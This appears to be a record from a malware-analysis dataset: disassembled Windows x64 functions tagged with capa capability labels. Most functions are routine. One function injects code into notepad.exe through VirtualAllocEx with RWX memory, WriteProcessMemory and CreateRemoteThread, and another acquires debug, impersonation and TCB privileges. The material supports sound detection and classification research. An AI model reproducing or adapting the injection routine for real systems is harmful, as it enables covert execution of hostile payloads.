joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800d11c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x180112440]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov r14, r8
mov rsi, rdx
mov rdi, rcx
xor r15d, r15d
test r8, r8
je 0x1800d1207
mov dword [r8], r15d
mov byte [r8 + 4], r15b
lea rax, [0x1800f1238]
mov qword [r8 + 8], rax
mov rcx, rsi
cmp qword [rdx + 0x18], 8
jb 0x1800d1214
mov rcx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x1800d1234
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.1800d10a0
jmp 0x1800d13b1
mov edx, ebp
mov rcx, rsi
call fcn.1800d0e60
mov r12d, eax
bt ebp, 0xa
jae 0x1800d1387
mov rcx, rsi
call fcn.1800d0d60
test al, al
jne 0x1800d1262
mov dword [rdi], 9
jmp 0x1800d13ad
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x1800d126f
mov rdx, qword [rsi]
movdqa xmm0, xmmword [0x1800f6c30]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r15w
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], r15w
jne 0x1800d1290
lea rcx, [rsp + 0x48]
call fcn.180016910
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x1800d1323
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800d131e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800d13d6
call fcn.180085560
movdqa xmm0, xmmword [0x1800f6c30]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r15w
cmp rbx, 0xffffffffffffffff
jne 0x1800d134e
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.1800d10a0
nop
jmp 0x1800d13b1
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x1800d137a
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call fcn.1800d10a0
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800d13b1
mov ebp, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and ebp, 0x10
je 0x1800d1392
mov eax, dword [rsp + 0x40]
jmp 0x1800d139a
mov eax, r12d
mov r12d, dword [rsp + 0x40]
test ebp, ebp
setne r15b
add r15d, 2
mov dword [rdi], r15d
test ebp, ebp
cmove r12d, eax
mov dword [rdi + 4], r12d
mov rax, rdi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.180085510
add rsp, 0xb0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1800a889c
nop
int3
Function at 0x1800d39c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ecx, dword [0x1801130f0]
cmp ecx, 0xffffffff
jne 0x1800d39de
xor esi, esi
jmp 0x1800d39e7
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
mov qword [rsp + 0x30], rsi
test rsi, rsi
je 0x1800d3add
mov rax, qword [rsi + 0x30]
nop dword [rax]
test rax, rax
jne 0x1800d3a10
cmp qword [rsi + 0x18], 0
je 0x1800d3ab6
mov rbx, qword [rsi + 0x18]
test rbx, rbx
je 0x1800d3a78
nop dword [rax]
mov rax, qword [rbx + 8]
mov qword [rsi + 0x18], rax
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800d3a57
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rbx]
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsi + 0x18]
test rbx, rbx
jne 0x1800d3a20
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1800d3a05
nop dword [rax]
mov rbx, qword [rsi + 0x28]
mov rbx, qword [rbx]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1800d3a9c
mov rdx, qword [rbx + 0x38]
test rdx, rdx
je 0x1800d3a9c
call qword [rbx + 0x28]
mov rdx, rbx
lea rcx, [rsi + 0x28]
call fcn.1800d2ce0
cmp qword [rsi + 0x30], 0
jne 0x1800d3a80
xor eax, eax
jmp 0x1800d3a00
lea rdx, [0x1800d3420]
lea rcx, [0x18011aeb8]
call fcn.1800d31b0
mov ecx, dword [0x1801130f0]
cmp ecx, 0xffffffff
je 0x1800d3add
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test rsi, rsi
je 0x1800d3b0f
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x1800d3b0f
mov rax, qword [rsi]
xor edx, edx
mov rcx, rsi
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800d3b20
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r9, qword [rcx]
lea r8, [0x1800d3bb0]
mov rdi, rcx
xor edx, edx
xor ecx, ecx
lea rax, [r9 + 0x20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call fcn.1800b8d14
mov rsi, rax
test rax, rax
jne 0x1800d3b64
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rax, qword [rdi]
mov qword [rsp + 0x40], rbx
lock inc dword [rax + 8]
mov rbx, qword [rdi]
mov rcx, qword [rbx + 0x10]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1800d3b87
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rsi
mov rcx, qword [rdi]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [rsp + 0x40]
mov al, 1
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ec0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128a
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011800
push rbp
push rdi
sub rsp, 0x4e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xca
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d040]
xor rax, rbp
mov qword [rbp + 0x498], rax
lea rcx, [0x1400230a0]
call fcn.140011393
xor edx, edx
mov ecx, 2
call fcn.1400111a4
mov qword [rbp + 8], rax
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001123a
test eax, eax
je 0x1400119c5
lea rdx, str.notepad.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400119b0
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x284], eax
mov r8d, dword [rbp + 0x284]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x2a8], rax
cmp qword [rbp + 0x2a8], 0
je 0x1400119b0
mov eax, dword [0x14001d018]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
je 0x1400119a3
mov eax, dword [0x14001d018]
lea rcx, [rbp + 0x2e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, section..data
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140011986
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2c8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
je 0x140011986
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001134d
test eax, eax
jne 0x140011869
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac50]
call fcn.14001132a
mov eax, edi
mov rcx, qword [rbp + 0x498]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret
Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014210
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014230
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014243
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001426d
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014281
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014293
xor al, al
jmp 0x1400142b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400142af
xor al, al
jmp 0x1400142b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140002600
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000264a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000264a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000264a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000264a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000264a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000264c
xor al, al
add rsp, 0x28
ret
Function at 0x1400078f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x280
mov edi, 0x80004005
lea rcx, [rsp + 0x30]
call fcn.140002da0
nop
xor esi, esi
mov ebx, esi
cmp qword [rsp + 0x30], rbx
je 0x14000797e
mov ecx, 0xd0
call fcn.14001dfac
mov qword [rsp + 0x290], rax
test rax, rax
je 0x140007941
mov rcx, rax
call fcn.140006f40
mov rbx, rax
jmp 0x140007944
mov rbx, rsi
test rbx, rbx
je 0x14000797e
mov rcx, rbx
call fcn.140007550
mov edi, eax
test eax, eax
js 0x14000797e
lfence
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140007b70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0xb8], rax
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x140007995
lock inc dword [rax + 8]
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.140002f10
test edi, edi
jns 0x140007b06
test rbx, rbx
je 0x140007b06
mov dword [rbx], 1
cmp qword [rbx + 8], 0
je 0x1400079d5
lfence
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
cmp qword [rbx + 0xb8], 0
je 0x1400079f6
lfence
mov rcx, qword [rbx + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0xb8], rsi
cmp qword [rbx + 0x28], 0
je 0x140007aa0
lfence
xor eax, eax
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x6c], eax
xor edx, edx
mov r8d, 0x1fb
lea rcx, [rsp + 0x84]
call fcn.1400202b0
mov dword [rsp + 0x50], 7
mov dword [rsp + 0x5c], esi
mov rax, qword [rbx + 8]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 0x3000
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x70], rax
mov rax, qword [rbx + 0x38]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], 0x1000
mov dword [rsp + 0x28], reloc.OLEAUT32.dll_SafeArrayAccessData
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8d, 0x22f
lea rdx, [rsp + 0x50]
mov rcx, qword [rbx + 0x28]
call fcn.140003320
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x40], rsi
cmp qword [rbx + 0x20], 0
je 0x140007aa0
lfence
mov rcx, qword [rbx + 0x20]
call fcn.140025740
mov qword [rbx + 0x20], rsi
cmp qword [rbx + 0x10], 0
je 0x140007ab8
lfence
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rsi
cmp qword [rbx + 8], 0
je 0x140007ad0
lfence
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], rsi
cmp qword [rbx + 0x38], 0
je 0x140007ae8
lfence
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x38], rsi
lfence
mov rcx, rbx
call fcn.140007140
lfence
mov edx, 0xd0
mov rcx, rbx
call fcn.14001dfe8
mov rbx, rsi
mov rdi, qword [rsp + 0x38]
test rdi, rdi
je 0x140007b4a
mov esi, 0xffffffff
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140007b4a
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax]
call qword [0x1400355d0]
lock xadd dword [rdi + 0xc], esi
cmp esi, 1
jne 0x140007b4a
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 8]
call qword [0x1400355d0]
mov rax, rbx
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000e290
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x58
cmp byte [0x14004a8cd], 0
je 0x14000e2a7
mov eax, 0xffffffff
add rsp, 0x58
ret
mov qword [rsp + 0x50], rbx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea r8, [rsp + 0x20]
lea rcx, [0x14004a940]
call fcn.14000e570
cmp al, 1
jne 0x14000e36e
call fcn.14001c050
cmp byte [rax], bl
je 0x14000e367
call fcn.14001c050
cmp byte [rax + 0x70], bl
je 0x14000e367
call fcn.14001c050
cmp byte [rax + 0x30], bl
je 0x14000e367
call fcn.14001c050
cmp byte [rax + 0x80], bl
je 0x14000e367
call fcn.14001c050
cmp byte [rax + 0x90], bl
je 0x14000e367
call fcn.14001c050
cmp byte [rax + 0xa0], bl
je 0x14000e367
lea rax, [0x14004a9a8]
mov dword [0x14004abcc], 1
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
lea rax, [0x140010850]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000e372
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x14004abbc], eax
mov ebx, eax
jmp 0x14000e372
mov ebx, 0x80070032
jmp 0x14000e372
mov ebx, dword [rsp + 0x20]
cmp dword [0x14004abcc], 0
jne 0x14000e38a
cmp byte [0x14004a9a2], 0
je 0x14000e38a
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret
Function at 0x14000ee50
Capabilities:
Modify service

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rsi, rcx
xorps xmm0, xmm0
movdqu xmmword [rbp - 9], xmm0
xor edi, edi
mov qword [rbp + 7], rdi
mov dword [rbp + 0x6f], edi
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rdx, [rsi + 0x68]
mov r8d, 0xf003f
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r14, rax
lea r9, [rbp + 0x6f]
xor edx, edx
lea r8d, [rdi + 0x40]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x14000f02a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000f02a
mov eax, dword [rbp + 0x6f]
lea ebx, [rax + 0x40]
mov edx, eax
test eax, eax
je 0x14000eeea
lfence
lea r8, [rbp + 0x67]
lea rcx, [rbp - 9]
call fcn.14000f930
lea r9, [rbp + 0x6f]
mov r8d, ebx
mov rbx, qword [rbp - 9]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test rbx, rbx
je 0x14000f02e
movzx edx, byte [rsi + 0x299]
movzx ecx, byte [rsi + 0x298]
call fcn.140018d90
mov rsi, rax
test rax, rax
je 0x14000ef39
mov rcx, rax
call fcn.1400193e0
test al, al
jne 0x14000ef39
mov rcx, rsi
call fcn.140019b90
cmp dword [rbx + 4], 2
je 0x14000ef88
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
lea rax, [0x1400364d0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov edx, 0xffffffff
mov r9d, edx
mov r8d, 2
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x14000f02e
lea rcx, [rbp - 0x19]
call fcn.140002da0
mov qword [rbp + 0x37], rdi
mov dword [rbp + 0x2b], 1
mov dword [rbp + 0x27], 1
lea rax, [0x1400364c0]
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x3f], rdi
mov qword [rbp + 0xf], 1
lea rax, [rbp + 0x27]
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rdi
lea r8, [rbp + 0xf]
mov edx, 8
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov rsi, qword [rbp - 0x11]
test eax, eax
jne 0x14000efe5
mov edi, 0x80004005
test rsi, rsi
je 0x14000f033
mov ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14000f024
mov rax, qword [rsi]
mov rcx, rsi
mov rax, qword [rax]
call qword [0x1400355d0]
lock xadd dword [rsi + 0xc], ebx
cmp ebx, 1
jne 0x14000f024
mov rax, qword [rsi]
mov rcx, rsi
mov rax, qword [rax + 8]
call qword [0x1400355d0]
mov rbx, qword [rbp - 9]
jmp 0x14000f033
mov rbx, qword [rbp - 9]
mov edi, 0x80004005
test rbx, rbx
je 0x14000f06c
mov rdx, qword [rbp + 7]
sub rdx, rbx
and rdx, 0xfffffffffffffffc
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000f064
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f086
mov rcx, rbx
call fcn.14001dfe8
mov eax, edi
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.14002561c
int3
Function at 0x14000fce0
Capabilities:
Create service

Disassembly:
push rdi
sub rsp, 0xa90
mov rax, qword [0x1400490e8]
xor rax, rsp
mov qword [rsp + 0xa80], rax
mov rdi, rcx
call fcn.14000ff60
test eax, eax
je 0x14000fd11
mov eax, 1
jmp 0x14000fe18
mov r8d, 0x104
lea rdx, [rsp + 0x72]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000ff0e
cmp eax, 0x104
je 0x14000ff0e
lea ecx, [rax + 1]
mov r8d, 0x22
mov word [rsp + 0x70], r8w
mov word [rsp + rcx*2 + 0x70], r8w
lea ecx, [rax + 2]
add rcx, rcx
cmp rcx, 0x20c
jae 0x14000ff57
mov qword [rsp + 0xaa8], rbx
xor edx, edx
mov qword [rsp + 0xab0], rsi
mov r8d, 0xf003f
xor esi, esi
mov word [rsp + rcx + 0x70], si
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x14000fe31
mov r8d, 0x400
lea rdx, [rsp + 0x280]
mov ecx, 0xd80a
call fcn.14000fbc0
test eax, eax
jne 0x14000fdef
lea r8, str.Could_not_open_Service_Manager
mov edx, 0x400
lea rcx, [rsp + 0x280]
call fcn.140027760
test eax, eax
je 0x14000fdef
cmp eax, 0xc
je 0x14000ff2b
cmp eax, 0x16
je 0x14000ff20
cmp eax, 0x22
je 0x14000ff20
cmp eax, 0x50
jne 0x14000ff15
lea r8, [rdi + 0x68]
xor r9d, r9d
lea rdx, [rsp + 0x280]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov rbx, qword [rsp + 0xaa8]
mov rsi, qword [rsp + 0xab0]
mov rcx, qword [rsp + 0xa80]
xor rcx, rsp
call fcn.14001e080
add rsp, 0xa90
pop rdi
ret
mov qword [rsp + 0x60], rsi
lea rax, str.RPCSS
mov qword [rsp + 0x58], rsi
add rdi, 0x68
mov qword [rsp + 0x50], rax
mov r9d, 0xf01ff
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov r8, rdi
mov qword [rsp + 0x38], rax
mov rdx, rdi
mov dword [rsp + 0x30], 1
mov rcx, rbx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], reloc.OLEAUT32.dll_SafeArrayGetDim
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
test rax, rax
jne 0x14000fef2
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, 0x400
lea rdx, [rsp + 0x280]
mov ecx, 0xd80b
call fcn.14000fbc0
test eax, eax
jne 0x14000fee7
lea r8, str.Could_not_start_service
mov edx, 0x400
lea rcx, [rsp + 0x280]
call fcn.140027760
test eax, eax
je 0x14000fee7
cmp eax, 0xc
je 0x14000ff4c
cmp eax, 0x16
je 0x14000ff41
cmp eax, 0x22
je 0x14000ff41
cmp eax, 0x50
jne 0x14000ff36
xor r9d, r9d
mov r8, rdi
jmp 0x14000fdf6
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x14000fe08
xor eax, eax
jmp 0x14000fe18
mov ecx, 0x80004005
call fcn.140004150
int3
mov ecx, 0x80070057
call fcn.140004150
int3
mov ecx, 0x8007000e
call fcn.140004150
int3
mov ecx, 0x80004005
call fcn.140004150
int3
mov ecx, 0x80070057
call fcn.140004150
int3
mov ecx, 0x8007000e
call fcn.140004150
int3
call fcn.14001e844
int3
Function at 0x14000ffe0
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x60
cmp dword [rcx + 0x28c], 0
mov rsi, rcx
je 0x140010116
lea rdx, str.SeDebugPrivilege
mov qword [rsp + 0x88], r14
call fcn.14000ed90
lea rdx, str.SeImpersonatePrivilege
mov rcx, rsi
call fcn.14000ed90
lea rdx, str.SeTcbPrivilege
mov rcx, rsi
call fcn.14000ed90
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
movzx edx, byte [rsi + 0x299]
movzx ecx, byte [rsi + 0x298]
mov dword [rsi + 0x290], eax
call fcn.140018d90
test rax, rax
jne 0x140010059
mov eax, 0x8007000e
jmp 0x140010063
xor edx, edx
mov rcx, rax
call fcn.140018fd0
xor ebp, ebp
lea rcx, [rsp + 0x20]
test eax, eax
cmovns ebp, eax
call fcn.140002da0
mov rcx, qword [rsp + 0x20]
call fcn.140003b40
mov rbx, qword [rsp + 0x28]
test eax, eax
setne r14b
test rbx, rbx
je 0x1400100c8
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400100c8
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax]
call qword [0x1400355d0]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x1400100c8
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 8]
call qword [0x1400355d0]
mov eax, 0x80004005
test r14b, r14b
cmove ebp, eax
xor edx, edx
xor ecx, ecx
call fcn.14001dfe8
xor ecx, ecx
call fcn.140025740
xor ecx, ecx
call fcn.140025740
xor ecx, ecx
call fcn.140025740
xor ecx, ecx
call fcn.140025740
mov r14, qword [rsp + 0x88]
test ebp, ebp
jns 0x140010116
mov eax, ebp
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
cmp dword [rsi + 0x28c], 0
je 0x14001013e
mov eax, 4
lea rdx, [rsi + 0x270]
xchg dword [rsi + 0x274], eax
mov rcx, qword [rsi + 0x268]
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov rcx, rsi
call fcn.14000f250
lfence
mov rcx, rsi
call fcn.14000ee50
test eax, eax
jne 0x14001019f
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x1400101a1
nop dword [rax]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x140010170
jmp 0x1400101a1
js 0x1400101f9
mov rbx, qword [0x140049060]
xor edi, edi
mov rdx, qword [0x140049068]
cmp rbx, rdx
jae 0x1400101e5
test edi, edi
jne 0x1400101e5
mov rax, qword [rbx]
test rax, rax
je 0x1400101dc
mov rax, qword [rax + 0x20]
mov ecx, dword [rax + 8]
test ecx, ecx
je 0x1400101dc
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov rdx, qword [0x140049068]
mov edi, eax
add rbx, 8
cmp rbx, rdx
jb 0x1400101b6
cmp byte [rsi + 0x60], 0
je 0x1400101f7
lfence
